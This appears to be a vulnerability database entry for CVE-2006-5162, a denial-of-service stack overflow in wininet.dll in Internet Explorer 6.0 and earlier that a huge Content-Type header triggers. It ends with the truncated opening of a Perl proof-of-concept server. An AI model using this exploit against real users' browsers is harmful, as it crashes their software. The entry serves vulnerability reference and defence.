5
CVSSv2

CVE-2006-5162

Published: 05/10/2006 Updated: 13/12/2021
CVSS v2 Base Score: 5 | Impact Score: 2.9 | Exploitability Score: 10
VMScore: 505
Vector: AV:N/AC:L/Au:N/C:N/I:N/A:P

Vulnerability Summary

wininet.dll in Microsoft Internet Explorer 6.0 SP2 and previous versions allows remote malicious users to cause a denial of service (unhandled exception and crash) via a long Content-Type header, which triggers a stack overflow.

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microsoft internet explorer 5.0

microsoft internet explorer 5.0.1

microsoft internet explorer 5.5

microsoft internet explorer 6.0

Exploits

#!/usr/bin/perl # Stack overflow in wininetdll while parsing huge( > ~1M) Content-Type response # ex: Unhandled exception at 0x771c00ee in IEXPLOREEXE: 0xC00000FD: Stack overflow # # discovered by Firestorm # # Usage: # 1) run this code # 2) open 127001/ with IE # use IO::Socket; my $sock=new IO::Socket::INET (Liste ...